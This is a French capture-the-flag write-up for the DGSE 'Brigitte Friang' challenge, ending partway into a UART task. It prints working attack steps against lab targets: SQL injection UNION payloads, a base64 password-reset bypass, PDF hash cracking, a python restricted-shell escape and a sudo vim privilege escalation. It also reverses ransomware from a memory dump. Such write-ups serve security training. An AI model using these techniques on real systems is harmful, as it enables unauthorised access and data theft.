Le challenge Brigitte Friang était le second challenge organisé par la DGSE, après le challenge Richelieu de l’an dernier.
Cette fois, le challenge comprenait deux parties. Tout d’abord, une série d’étapes à résoudre pour atteindre la plateforme de CTF, où une seconde phase se tenait.
Ici est présentée une solution détaillée de tous les chemins empruntés pour rejoindre la plateforme du CTF, ainsi que de chaque challenge de la seconde partie de la compétition.
Le point de départ pour le challenge était identique à celui de l’année précédente : une simple URL, avec aucune information utile indiquant où aller pour trouver les vrais challenges.
Cependant, le code source cache un indice :
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Challenge Brigitte Friang</title> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="X-UA-Compatible" content="ie=edge" /> <link rel="stylesheet" href="/static/bootstrap/css/bootstrap.min.css"> <link rel="stylesheet" href="/static/css/style.css"> <!--/static/message-secret.html--> </head> <body> ... </body> </html>
Une fois encore, le code HTML donne un indice :
<!DOCTYPE html> <html lang="fr" dir="ltr"> <head> <meta charset="utf-8" /> <title>Cesar</title> </head> ... </html>
Toutes les combinaisons peuvent être essayées avec l’aide du Shell :
$ for i in $( seq 26 ); do \ lynx --dump https://challengecybersec.fr/static/message-secret.html | caesar $i ; \ echo "==== $i"; read -n 1 -s -r ; done [...] Si vous parvenez a lire ce message, c'est que vous pouvez rejoindre l’operation «Brigitte Friang». Rejoignez-nous rapidement. Brigitte Friang est une resistante, journaliste et ecrivaine francaise. Elle est nee le 23/01/1924 a Paris, elle a 19 ans sous l'occupation lorsqu'elle est recrutee puis formee comme secretaire/chiffreuse par un agent du BCRA, Jean-Francois Clouet des Perruches alias Galilee chef du Bureau des operations aeriennes (BOA) de la Region M (Cote du Nord, Finistere, Indre et Loire, Orne, Sarthe, Loire inferieure, Maine et Loire, Morbihan, Vendee). Brigitte Friang utilise parfois des foulards pour cacher des codes. Completez l’URL avec l’information qui est cachee dans ce message. Suite a l’arrestation et la trahison de Pierre Manuel, Brigitte Friang est arretee par la Gestapo. Elle est blessee par balle en tentant de s’enfuir et est conduite a l’Hopital de la Pitie. Des resistants tenteront de la liberer mais sans succes. Elle est torturee et ne donnera pas d'informations. N’oubliez pas la barre oblique. Elle est ensuite envoyee dans le camp de Ravensbruck. Apres son retour de deportation, elle participe a la creation du Rassemblement du peuple français (RPF). Elle integre la petite equipe, autour d'Andre Malraux, qui va preparer le discours fondateur de Strasbourg en 1947 et les elections legislatives de 1951. Elle rentre a l'ORTF, et devient correspondante de guerre. Elle obtient son brevet de saut en parachute et accompagne des commandos de parachutistes en operation durant la guerre d’Indochine. Elle raconte son experience dans Les Fleurs du ciel (1955). D'autres agents sont sur le coup au moment ou je vous parle. Les meilleurs d'entre vous se donneront rendez-vous a l'European Cyberweek a Rennes pour une remise de prix. Resolvez le plus d'epreuves avant la fin de cette mission et tentez de gagner votre place parmi l'elite! Par la suite, elle couvre l’expedition de Suez, la guerre des Six Jours et la guerre du Viet Nam. Elle prend position en faveur d'une autonomie du journalisme dans le service public ce qui lui vaut d'etre licenciee de l'ORTF. Elle ecrit plusieurs livres et temoigne de l'engagement des femmes dans la Resistance. ==== 19
Pas de piste supplémentaire dans le texte lui-même, mais son rendu montre quelques caractères en gras :
L’URL suivante est révélée par la commande :
$ caesar 19 <<< joha chat
Armand Richelieu présente l’équipe combattant Evil Country:
Chaque membre propose un moyen de rejoindre le challenge principal.
Les fichiers fournis par Antoine Rossignol sont :
echange.txt
;archive_chiffree
;layout.pdf
;compte_rendu_eve.pdf
.Le fichier texte explique que l’archive a été chiffrée par un matériel dédié. Ce matériel a été analysé et le rapport présente les conclusions de cette analyse.
Le rapport suggère qu’une zone en particulier retient la clé de chiffrement. Cependant l’analyse n’a pas déterminé l’ordre des bits ni les positions des bits forts. Une image de cette zone prise au microscope est incluse dans le PDF protégé.
Ainsi, pour retrouver la valeur de la clé, il est nécessaire de déchiffrer layout.pdf
. Comme il n’y a aucune indication concernant ce mot de passe, il est probable qu’il faille avoir recours au brute-force.
Le hash du mot de passe peut être extrait grâce à l’outilpdf2john
de John The Ripper.
./pdf2john.pl layout.pdf > hash
Le hash extrait est :
$pdf$4*4*128*-4*1*16*6889d2c476016551d8b110c09aead2be*32*2f4d1d0b42be57f35b3f62f18ca0c43d00000000000000000000000000000000*32*2573d8bb30a39ec5e84b3891b5ac78d35876cc17ece0afa3fa17ef6f50919dfe
Note : pour que le hash soit compatible avec Hashcat, le préfixe a été retiré.
Le hash peut être craqué par Hashcat avec une attaque par dictionnaire en utilisant rockyou.txt
.
./hashcat -a 0 -m 10500 hash rockyou.txt
Le mot de passe retrouvé est resistance.
Le PDF déchiffré layout.pdf
contient une image montrant 16 lignes et 16 colonnes de fusibles suggérant que chaque fusible correspond à un bit de la clé. Certains fusibles sont grillés et présentent un espace en leur milieu.
Un fusible grillé représente un 1, un fusible intact représente un 0. Ainsi la table des bits extraits est la suivante :
0100000101000101 0101001100100000 0011001000110101 0011011000100000 0100010101000011 0100001000100000 0010000000100000 0010000000100000 0010000000100000 0010000000100000 0010000000100000 0010000000100000 0010000000100000 0010000000100000 0010000000100000 0010000000100000
Chaque ligne contient 2 octets et peuvent se représenter en ASCII en lisant les bits du plus fort au plus faible de gauche à droite. Ceci donne la chaîne de caractères AES 256 ECB
. Le fichier key_extraction.py propose une façon automatique d’afficher cette chaîne.
Note : En regardant les fusibles et les bits, on remarque qu’il y a 21 espaces après la partie lisible de la clé, ce qui peut être difficile à voir dans la sortie du script key_extraction.py.
La clé indique que l’algorithme de chiffrement utilisé est AES 256 en mode ECB. Avec la librairie Python Pycrypto
, il est possible de déchiffrer l’archive archive_chiffree
. Le code de cette étape se trouve dans le fichier decrypt_archive.py.
Une fois déchiffrée, on obtient une archive ZIP.
$ file plain_archive plain_archive: Zip archive data, at least v2.0 to extract
Avec unzip
on peut extraire le contenu de l’archive.
Le contenu de cette archive est :
. ├── archive │ ├── code_acces.pdf │ └── message.pdf └── __MACOSX └── archive 3 directories, 2 files
Note : le dossier __MACOSX
suggère que l’archive a été créée sur un Mac mais n’est pas nécessaire pour la résolution de cette épreuve.
Le fichier code_acces.pdf
est protégé par un mot de passe et message.pdf
contient des indices sur ce mot de passe. Ainsi, le mot de passe x
vérifie le système suivant :
Une solution de ce système peut se trouver par brute force et on obtient x=5622.
Note : le code pour trouver la solution par brute force se trouve dans le fichier brute_force_system.py.
Le fichiercode_acces.pdf
contient des indices. Le flag a été chiffré en remplaçant chaque caractère par son inverse modulaire dans le corps de Galois.
Le résultat du chiffrement est 0xAF3A5E20A63AD0.
Le site Web wims.univ-cotedazur.fr héberge un calculateur spécifique de théorie de Galois qui permet de calculer les inverses.
On définit le corps de Galois comme suit :
Chaque caractère représente un polynôme dans le corps de Galois et les coefficients de ces polynômes s’obtiennent de la façon suivante :
bin(0xAF) = '0b10101111'
;10101111
correspond au polynôme :0b01100010 = 0x62
c’est à dire le caractère b
.Les calculs complets pour trouver les autres caractères sont les suivants :
Le flag trouvé est la chaîne de caractère b a:e z. En envoyant ce message à Antoine Rossignol, celui ci nous répond l’URL de la plateforme du CTF.
Un accès non autorisé à un système a été détecté :
Une façon d’analyser les logs de Nginx
est de les parcourir à la recherche de requêtes POST en premier lieu :
$ < access.log grep POST [...] 145.229.250.226 - - [Nov 05 2020 16:13:19] "POST /login HTTP/1.1" 200 397 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20" 179.97.58.61 - - [Nov 05 2020 16:22:20] "POST /login HTTP/1.1" 200 476 "-" "Evil Browser" 135.133.14.41 - - [Nov 05 2020 16:42:32] "POST /login HTTP/1.1" 200 183 "-" "Mozilla/5.0 (Android; Linux armv7l; rv:5.0) Gecko/20110615 Firefox/5.0 Fennec/5.0" [...]
Fournir l’adresse IP de l’attaquant donne accès à une image :
Son poids est relativement surprenant :
$ ls -lh evil_country_landscape.jpg -rw-r--r-- 1 test test 303M 12 nov. 20:19 evil_country_landscape.jpg
Du contenu intéressant peut être extrait grâce à binwalk
:
$ binwalk -e evil_country_landscape.jpg DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JPEG image data, JFIF standard 1.01 79798 0x137B6 Zip archive data, at least v2.0 to extract, uncompressed size: 173015040, name: part2.img 4775856 0x48DFB0 Zlib compressed data, best compression 34737670 0x2120E06 MySQL MISAM compressed data file Version 1 56164092 0x358FEFC IMG0 (VxWorks) header, size: 257308484 128298187 0x7A5ACCB Cisco IOS microcode, for "w%" 158637081 0x9749C19 Zip archive data, at least v2.0 to extract, uncompressed size: 173015040, name: part3.img 239002530 0xE3EE3A2 Zlib compressed data, best compression 317286906 0x12E969FA End of Zip archive, footer length: 22 $ file _evil_country_landscape.jpg.extracted/part* _evil_country_landscape.jpg.extracted/part2.img: Linux Software RAID version 1.2 (1) UUID=dfaa645a:19afec72:60f1fa33:30d841da name=user-XPS-15-9570:6 level=5 disks=3 _evil_country_landscape.jpg.extracted/part3.img: Linux Software RAID version 1.2 (1) UUID=dfaa645a:19afec72:60f1fa33:30d841da name=user-XPS-15-9570:6 level=5 disks=3
La création de périphériques de boucle devrait activer une sorte de support automatique :
# losetup -f _evil_country_landscape.jpg.extracted/part2.img # losetup -f _evil_country_landscape.jpg.extracted/part3.img # dmesg [...] [1504745.009200] md/raid:md127: device loop2 operational as raid disk 2 [1504745.009202] md/raid:md127: device loop1 operational as raid disk 1 [1504745.009617] md/raid:md127: raid level 5 active with 2 out of 3 devices, algorithm 2 [1504745.009640] md127: detected capacity change from 0 to 341835776
Le nouveau disque peut être exploré :
# mkdir /tmp/raid # mount /dev/md127 /tmp/raid/ # ls -lh /tmp/raid/ total 292M -rw-r--r-- 1 root root 291M 6 oct. 11:35 dump.zip drwx------ 2 root root 16K 6 oct. 11:31 lost+found # unzip -l /tmp/raid/dump.zip Archive: /tmp/raid/dump.zip Length Date Time Name --------- ---------- ----- ---- 1073741824 2020-10-05 13:13 dump.vmem 64 2020-10-05 13:50 dump.vmem.sha256 --------- ------- 1073741888 2 files
Une fois le contenu ZIP décompressé, le disque RAID peut être arrêté avec les commandes suivantes :
# umount /tmp/raid/ # mdadm -S /dev/md127 mdadm: stopped /dev/md127 # losetup -D
Les nouveaux fichiers représentent une capture de mémoire adaptée pour Volatility:
$ volatility -f dump.vmem imageinfo Volatility Foundation Volatility Framework 2.6 INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418 AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) AS Layer2 : FileAddressSpace (/XXX/dump.vmem) PAE type : No PAE DTB : 0x187000L KDBG : 0xf80002c4c0a0L Number of Processors : 1 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0xfffff80002c4dd00L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2020-10-05 11:17:37 UTC+0000 Image local date and time : 2020-10-05 13:17:37 +0200
Un aperçu de l’affichage en cours peut être enregistré :
$ mkdir screenshot $ volatility -f dump.vmem --profile Win7SP1x64 screenshot --dump-dir screenshot Volatility Foundation Volatility Framework 2.6 Wrote screenshot/session_0.msswindowstation.mssrestricteddesk.png Wrote screenshot/session_0.Service-0x0-3e7$.Default.png Wrote screenshot/session_0.Service-0x0-3e4$.Default.png Wrote screenshot/session_0.Service-0x0-3e5$.Default.png Wrote screenshot/session_1.WinSta0.Default.png Wrote screenshot/session_1.WinSta0.Disconnect.png Wrote screenshot/session_1.WinSta0.Winlogon.png Wrote screenshot/session_0.WinSta0.Default.png Wrote screenshot/session_0.WinSta0.Disconnect.png Wrote screenshot/session_0.WinSta0.Winlogon.png
La liste des processus actifs peut aussi être explorée :
$ volatility -f dump.vmem --profile Win7SP1x64 pslist Volatility Foundation Volatility Framework 2.6 Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit ------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------ 0xfffffa8000cc5b30 System 4 0 87 393 ------ 0 2020-10-05 11:13:41 UTC+0000 0xfffffa800bad5480 smss.exe 264 4 2 29 ------ 0 2020-10-05 11:13:41 UTC+0000 0xfffffa8002810060 csrss.exe 352 336 8 517 0 0 2020-10-05 11:13:42 UTC+0000 0xfffffa8002816060 wininit.exe 404 336 3 74 0 0 2020-10-05 11:13:42 UTC+0000 0xfffffa80111d32e0 csrss.exe 412 396 9 209 1 0 2020-10-05 11:13:42 UTC+0000 0xfffffa80029c2910 winlogon.exe 460 396 4 110 1 0 2020-10-05 11:13:42 UTC+0000 0xfffffa80029f76d0 services.exe 504 404 8 220 0 0 2020-10-05 11:13:42 UTC+0000 0xfffffa8002a007c0 lsass.exe 512 404 7 565 0 0 2020-10-05 11:13:42 UTC+0000 0xfffffa8002a0db30 lsm.exe 520 404 10 145 0 0 2020-10-05 11:13:42 UTC+0000 0xfffffa8002a0fb30 svchost.exe 644 504 10 353 0 0 2020-10-05 11:13:43 UTC+0000 0xfffffa8002affb30 svchost.exe 708 504 6 276 0 0 2020-10-05 11:13:43 UTC+0000 0xfffffa8002b1f4a0 svchost.exe 760 504 23 514 0 0 2020-10-05 11:13:43 UTC+0000 0xfffffa8002b28b30 svchost.exe 880 504 16 320 0 0 2020-10-05 11:13:43 UTC+0000 0xfffffa8002b8ab30 svchost.exe 920 504 48 979 0 0 2020-10-05 11:13:43 UTC+0000 0xfffffa8002bb4b30 audiodg.exe 980 760 7 128 0 0 2020-10-05 11:13:44 UTC+0000 0xfffffa8002bd4060 svchost.exe 244 504 26 720 0 0 2020-10-05 11:13:44 UTC+0000 0xfffffa8002bf8060 svchost.exe 304 504 20 391 0 0 2020-10-05 11:13:44 UTC+0000 0xfffffa8002c6b500 dwm.exe 1072 880 6 124 1 0 2020-10-05 11:13:44 UTC+0000 0xfffffa8002c6fb30 explorer.exe 1084 1064 32 828 1 0 2020-10-05 11:13:44 UTC+0000 0xfffffa8002cc6310 spoolsv.exe 1156 504 15 270 0 0 2020-10-05 11:13:44 UTC+0000 0xfffffa8002d11a60 taskhost.exe 1216 504 10 204 1 0 2020-10-05 11:13:44 UTC+0000 0xfffffa8002d234f0 vm3dservice.ex 1240 1084 3 39 1 0 2020-10-05 11:13:44 UTC+0000 0xfffffa8002d27b30 vmtoolsd.exe 1248 1084 8 166 1 0 2020-10-05 11:13:44 UTC+0000 0xfffffa8002d2ab30 svchost.exe 1304 504 20 325 0 0 2020-10-05 11:13:45 UTC+0000 0xfffffa8002b6e430 VGAuthService. 1560 504 4 84 0 0 2020-10-05 11:13:46 UTC+0000 0xfffffa8002b6f2c0 vmtoolsd.exe 1584 504 12 292 0 0 2020-10-05 11:13:46 UTC+0000 0xfffffa8001e6ab30 dllhost.exe 1832 504 20 186 0 0 2020-10-05 11:13:47 UTC+0000 0xfffffa8002f1f060 WmiPrvSE.exe 1892 644 10 193 0 0 2020-10-05 11:13:47 UTC+0000 0xfffffa8002ef2b30 dllhost.exe 2008 504 17 195 0 0 2020-10-05 11:13:48 UTC+0000 0xfffffa8002fc9560 msdtc.exe 872 504 15 155 0 0 2020-10-05 11:13:49 UTC+0000 0xfffffa8003021690 VSSVC.exe 2076 504 6 109 0 0 2020-10-05 11:13:49 UTC+0000 0xfffffa8002c4bb30 SearchIndexer. 2156 504 12 557 0 0 2020-10-05 11:13:50 UTC+0000 0xfffffa8002fd4b30 wmpnetwk.exe 2296 504 11 213 0 0 2020-10-05 11:13:50 UTC+0000 0xfffffa80030d4770 svchost.exe 2372 504 23 258 0 0 2020-10-05 11:13:51 UTC+0000 0xfffffa80030e4750 SearchProtocol 2400 2156 7 273 0 0 2020-10-05 11:13:51 UTC+0000 0xfffffa80030e7b30 SearchFilterHo 2420 2156 4 86 0 0 2020-10-05 11:13:51 UTC+0000 0xfffffa8001ca9060 WmiPrvSE.exe 3032 644 15 330 0 0 2020-10-05 11:14:07 UTC+0000 0xfffffa80031d5790 sppsvc.exe 2844 504 6 156 0 0 2020-10-05 11:16:54 UTC+0000 0xfffffa801bbf6b30 svchost.exe 2276 504 12 327 0 0 2020-10-05 11:16:54 UTC+0000 0xfffffa8000e91b30 drpbx.exe 2304 2916 8 149 1 0 2020-10-05 11:17:01 UTC+0000 0xfffffa8000e78920 taskhost.exe 2464 504 6 88 1 0 2020-10-05 11:17:08 UTC+0000 0xfffffa800107c6a0 WmiApSrv.exe 2632 504 7 119 0 0 2020-10-05 11:17:18 UTC+0000 0xfffffa8001072060 notepad.exe 1880 1084 1 62 1 0 2020-10-05 11:17:36 UTC+0000 0xfffffa800117db30 cmd.exe 1744 1584 0 -------- 0 0 2020-10-05 11:17:37 UTC+0000 2020-10-05 11:17:37 UTC+0000 0xfffffa8002161630 conhost.exe 2928 352 0 -------- 0 0 2020-10-05 11:17:37 UTC+0000 2020-10-05 11:17:37 UTC+0000 0xfffffa8001116060 ipconfig.exe 2832 1744 0 -------- 0 0 2020-10-05 11:17:37 UTC+0000 2020-10-05 11:17:37 UTC+0000
Tout comme les lignes de commande utilisées pour lancer les programmes :
$ volatility -f dump.vmem --profile Win7SP1x64 cmdline Volatility Foundation Volatility Framework 2.6 [...] ************************************************************************ drpbx.exe pid: 2304 Command line : "C:\Users\user\AppData\Local\Drpbx\drpbx.exe" C:\Users\user\Documents\Firefox_installer.exe ************************************************************************ [...]
Le processus suspect avec le pid 2304 peut être extrait :
$ mkdir drpbx $ volatility -f dump.vmem --profile Win7SP1x64 procdump -p 2304 --dump-dir drpbx Volatility Foundation Volatility Framework 2.6 Process(V) ImageBase Name Result ------------------ ------------------ -------------------- ------ 0xfffffa8000e91b30 0x0000000000870000 drpbx.exe OK: executable.2304.exe $ file drpbx/executable.2304.exe drpbx/executable.2304.exe: PE32+ executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Le code source de l’exécutable peut être récupéré en utilisant ILSpy.
La fonction buttonCheckPayment_Click() à l’intérieur du fichier FormGame.cs fournit des indications au sujet des fichiers chiffrés .evil :
double price = Blockr.GetPrice(); int num = (int)(Blockr.GetBalanceBtc(GetBitcoinAddess()) * price); if (num > Config.RansomUsd) { timerCountDown.Stop(); buttonCheckPayment.Enabled = false; buttonCheckPayment.BackColor = Color.Lime; buttonCheckPayment.Text = "Arg, vous nous avez eu..."; MessageBox.Show(this, "Déchiffrement de vos fichiers. It will take for a while. After done I will close and completely remove myself from your computer.", "Great job"); Locker.DecryptFiles(".evil"); Hacking.RemoveItself(); }
Le fichier Locker.cs contient les fonctions EncryptFile() et DecryptFile() avec tous les paramètres cryptographiques :
RXZpbERlZmF1bHRQYXNzIQ==
;0, 1, 0, 3, 5, 3, 0, 1, 0, 0, 2, 0, 6, 7, 6, 0
;Le script Python drpb-unlocker.py peut alors être utilisé pour déchiffrer les fichiers :
$ volatility -f dump.vmem --profile Win7SP1x64 filescan | grep evil Volatility Foundation Volatility Framework 2.6 0x000000001715ed50 16 0 R--r-- \Device\HarddiskVolume1\Users\user\Documents\informations_attaque.txt.evil 0x000000003fa3ebc0 2 0 RW-r-- \Device\HarddiskVolume1\ProgramData\Microsoft\RAC\PublishedData\RacWmiDatabase.sdf.evil 0x000000003fac8d10 32 0 RW-r-- \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\WER\ReportQueue\NonCritical_Firefox_installe_d514681bfc376345742b2157ace1e72c17fd991_cab_0938b7ba\appcompat.txt.evil 0x000000003fad8620 16 0 RW-r-- \Device\HarddiskVolume1\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000002.db.evil $ mkdir crypted $ for q in 0x000000001715ed50 0x000000003fa3ebc0 0x000000003fac8d10 0x000000003fad8620; do \ volatility -f dump.vmem --profile Win7SP1x64 dumpfiles -D crypted -Q $q ; \ done $ find crypted/ -type f -not -name '*.orig' -exec python3 ./drpb-unlocker.py {} \;
Un des fichiers résultants semble intéressant :
< crypted/file.None.0xfffffa800e9fec60.dat.orig head -10 Ce message est destin� � toute force alli�e en mesure de nous venir en aide, nous la r�sistance d'Evil Country. Hier, nous sommes parvenus � mettre la main sur un dossier confidentiel �manant des services secrets d'Evil Gouv. Ces documents font mention d'une op�ration d'an�antissement de la r�sistance � l'aide d'un puissant agent innervant, le VX. L'attaque est pr�vue dans 4 jours � 4h40 au sein du fief de la r�sistance. Nous savons de source sure qu'un convoi permettant la synth�se du VX partira de l'entrepot Stockos de Bad Country vers le fief de la r�sistance d'ici quelques jours. Il faut intercepter ce convoi ! �F��f�Jev�nous � cette adresse : http://ctf.challengecybersec.fr/7a144cdc500b28e80cf760d60aca2ed3sz�Zn|3����
Le contenu doit encore être tronqué et le fichier peut être converti en UTF-8 avec :
$ iconv -c -f ISO-8859-15 -t UTF-8 final.txt
En empruntant la route du « Service Web », Jérémy Nitel révèle que Stockos, une plateforme Web utilisée pour gérer les entrepôts d’Evil Country, a été piratée et que les mots de passe ont fuité.
Il donne également un lien vers Stockos: https://www.challengecybersec.fr/4e9033c6eacf38dc2a5df7a14526bec1/
Jérémy indique que les mots de passe fuités ne sont pas ceux d’origine. Avec le compte admin et le mot de passe admin, il est possible de se connecter facilement.
La page d’accueil est un tableau de bord avec des informations de stockage mais il n’y a rien d’intéressant à exploiter ici.
Le second onglet, intitulé « Gestion des stocks », contient une table avec différents produits et autres informations.
On peut également remarquer une zone de saisie qui permet de rechercher un objet spécifique dans le magasin.
En utilisant cette fonctionnalité de recherche, il est possible de consulter la base de données, à l’aide d’injections SQL. Puisqu’il existe 5 colonnes, cette première injection a été lancée :
' UNION select 1, 2, 3, 4, 5 #
A la fin de la table, après un clic sur le bouton de recherche, on obtient les valeurs 1, 2, 3, 4, 5 dans chaque colonne, ce qui indique que l’on se trouve sur la bonne voie.
Voici les autres injections menées :
' UNION select table_name, NULL, NULL, NULL, NULL from information_schema.tables #
Résultat : clients, commandes, section, fournisseur (les tables par défaut ont été supprimées)
' UNION select table_name,column_name,NULL,NULL,NULL from information_schema.columns where table_name=[table_name] #
Avec ça, on trouve que :
Dans ses messages, Jérémy Nitel donne également un lien vers le site d’AirEvil. L’objectif est de trouver un moyen d’obtenir un billet d’avion pour aller de Bad City jusqu’à Evil City.
Essayer d’avoir un billet directement à partir de la page d’accueil renvoie vers une page de connexion avant tout achat de billet. Voici à quoi ressemble cette page de connexion :
En se créant un compte bidon à partir d’une adresse de courriel temporaire, on remarque que la page de profil du compte n’est pas autorisée à effectuer des réservations d’avion pour Evil Country.
Ceci signifie que le seul moyen de réserver un vol pour Evil Country est de disposer d’un compte autorisé. Par chance, on dispose déjà d’une adresse de courriel qui devrait être liée à un compte autorisé : agent.malice@secret.evil.gov.ev
En essayant de réinitialiser le mot de passe pour le compte bidon, un courriel est reçu contenant un lien vers une page de réinitialisation. Ce que le lien contient (d2lqYWYxMjM1N0BwYXRtdWkuY29t) est notre adresse de courriel encodée en base 64. En ouvrant ce lien, voici ce que l’on obtient :
Le mot de passe est donné en clair !
agent.malice@secret.evil.gov.ev encodé en base 64 est : YWdlbnQubWFsaWNlQHNlY3JldC5ldmlsLmdvdi5ldg==. En utilisant le même lien de réinitialisation avec la version encodée du courriel, voici le résultat :
Avec ça, on sait que les identifiants du compte autorisé sont agent.malice@secret.evil.gov.ev associé au mot de passe Superlongpassword666.
On se connecte avec ces valeurs et, dans l’onglet « Mes reservations », on trouve un billet d’avion pour aller de Bad City à Evil City, avec un QR Code.
La valeur du QR Code est DGSESIEE{2cd992f9b2319860ce3a35db6673a9b8}.
On envoie ce flag à Jérémy Nitel. En réponse, ce dernier transfert un fichier appelé « capture.pcap » qu’il faut analyser afin d’obtenir le flag suivant.
En analysant le fichier PCAP, on peut constater que le trafic est chiffré en TLS/SSL, et uniquement entre deux IP locales.
Il est possible d’extraire le certificat et la clef publique pour l’échange à partir des messages de handshake.
En regardant les paramètres détaillés de la clef, le modulo n’apparaît pas assez grand pour être considéré comme sécurisé.
Il a ainsi été possible de retrouver les facteurs premiers avec des moyens comme factordb.com. Avec p
et q
à disposition, la régénération d’une clef privée est permise.
Charger cette clef dans Wireshark
conduit au déchiffrement de l’ensemble des communications.
On réalise alors qu’il s’agit de trafic HTTP et on peut trouver le lien vers la plateforme Web de la seconde partie du challenge.
Le contexte de la mission est :
Lors de votre récent séjour à Evil Country, vous êtes parvenu à brancher un dispositif sur le camion effectuant la livraison. Il faut maintenant trouver une faille sur le système pour pouvoir prendre le contrôle du camion autonome de la marque Lates et le rediriger vers un point d'extraction. Un agent a posé un dispositif nous permettant d'accéder au système de divertissement du véhicule. A partir de ce dernier, remontez jusqu'au système de navigation. Connectez-vous en SSH au camion Identifiants: user:user Le serveur est réinitialisé périodiquement Port : 5004 Le flag est de la forme DGSESIEE{hash}
Il s’agissait du seul challenge de la catégorie pwn. On commence par se connecter en ssh au serveur avec le nom d’utilisateur donné.
$ ssh user@challengecybersec.fr -p 5004 user@challengecybersec.fr's password: ============================================================= LATES Motors Inc LATES Mortors Entertainment System v6.2 Please enter your credentials ============================================================= Username:
On se retrouve avec une invite demandant un couple nom d’utilisateur / mot de passe. Après quelques essais infructueux à déclencher un buffer overflow, une chaîne de format ou même l’essai de quelques couples communs, on réalise qu’on peut s’échapper simplement en pressant Ctrl+D.
Username: Traceback (most recent call last): File "/home/user/login.py", line 12, in <module> user = raw_input("Username: ") EOFError user@b43e27468d7b:~$
Le shell affiche des capacités limitées, comme tout Shell restreint.
Cependant, comme Python est disponible, il est possible de lancer un Shell non restreint via le module intégré os
.
On peut alors voir que le flag est localisé dans le répertoire personnel de l’utilisateur navigationSystem
, et qu’il existe un autre utilisateur appelé globalSystem
.
Le drapeau est uniquement lisible par navigationSystem
donc une élévation de privilèges s’impose.
user@b43e27468d7b:~$ ls -rbash: ls: command not found user@b43e27468d7b:~$ /bin/ls -rbash: /bin/ls: restricted: cannot specify `/' in command names user@b43e27468d7b:~$ python -c "import os; os.system('/bin/sh')" $ ls /bin/sh: 1: ls: not found $ /bin/ls bin login.py $ /bin/ls ../ globalSystem navigationSystem user $ /bin/ls ../navigationSystem flag.txt $ /bin/ls ../navigationSystem -la total 24 drwxr-xr-x 2 root root 4096 Nov 1 10:52 . drwxr-xr-x 1 root root 4096 Nov 1 10:52 .. -r--r--r-- 1 navigationSystem navigationSystem 220 Apr 18 2019 .bash_logout -r-------- 1 navigationSystem navigationSystem 3533 Nov 1 10:52 .bashrc -r--r--r-- 1 navigationSystem navigationSystem 807 Apr 18 2019 .profile -r-------- 1 navigationSystem navigationSystem 43 Nov 1 10:52 flag.txt
On peut utiliser l’option -l de sudo pour consulter les commandes qu’il est permis de lancer en tant qu’autrui.
$ /usr/bin/sudo -l Matching Defaults entries for user on b43e27468d7b: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=LD_PRELOAD User user may run the following commands on b43e27468d7b: (globalSystem) NOPASSWD: /usr/bin/vim
On peut exécuter vim
en tant que globalSystem
, et puisque vim
a sa méthode pour lancer des commandes depuis son interface, ceci veut dire qu’on peut exécuter des commandes en tant que globalSystem
.
$ /usr/bin/sudo -u globalSystem vim :! /bin/sh $ id uid=1001(globalSystem) gid=1001(globalSystem) groups=1001(globalSystem)
Maintenant, l’étape d’après. On effectue la même démarche pour savoir si sudo
permet de lancer des commandes en tant que navigationSystem
.
$ sudo -l Matching Defaults entries for globalSystem on b43e27468d7b: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=LD_PRELOAD User globalSystem may run the following commands on b43e27468d7b: (navigationSystem) NOPASSWD: /usr/bin/update
On a la possibilité d’exécuter le binaire update
avec l’utilisateur ciblé, mais comme ce n’est pas une commande Linux standard, il faut investiguer davantage.
$ sudo -u navigationSystem /usr/bin/update usage : /usr/bin/update password $ sudo -u navigationSystem /usr/bin/update aaa Wrong password
La solution la plus simple est de rappatrier le binaire pour l’analyser en local. Le simple fait de le lancer via ltrace
donne le mot de passe attendu :
$ ltrace ./update aaa [...] strcmp("AloneIsTheBest", "aaa") = -32 puts("Wrong password"Wrong password
On peut alors utiliser ce mot de passe avec le binaire du serveur, ce qui fournit une invite de commandes avec les permissions adéquates pour lire le flag.
$ sudo -u navigationSystem /usr/bin/update AloneIsTheBest [...] navigationSystem@b43e27468d7b:/home/user$ cat ../navigationSystem/flag.txt DGSESIEE{44adfb64ff382f6433eeb03ed829afe0}
La description de la mission est :
Un informateur a intercepté un message binaire transmis sur un câble. Il a rapidement enregistré via la carte son d'un PC les données en 8 bits signés (ascii_uart.raw). Dans la précipitation, il a oublié de noter la fréquence d'échantillonnage. Retrouvez le message. Le flag est de la forme DGSESIEE{X} avec X le message ascii_uart.raw (SHA256=0421ace2bbacbb5a812868b0dbb38a23533cda67bf7f00b1031fdbd7a228c8a5) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/ascii_uart.raw
UART est une implémentation du standard RS232.
Les niveaux de tension associés sont :
0
;1
.Quantités de sites Web indiquent comment RS232 fonctionne :
Les données sont transmises en utilisant :
start
, toujours 0
;parité
: ici, la quantité de bits à 1
dans les données et la parité doit être paire ;stop
, toujours 1
.La fréquence de chaque octet à l’intérieur du fichier ascii_uart.raw peut être déterminée avec le script Perl uart-study.pl ;
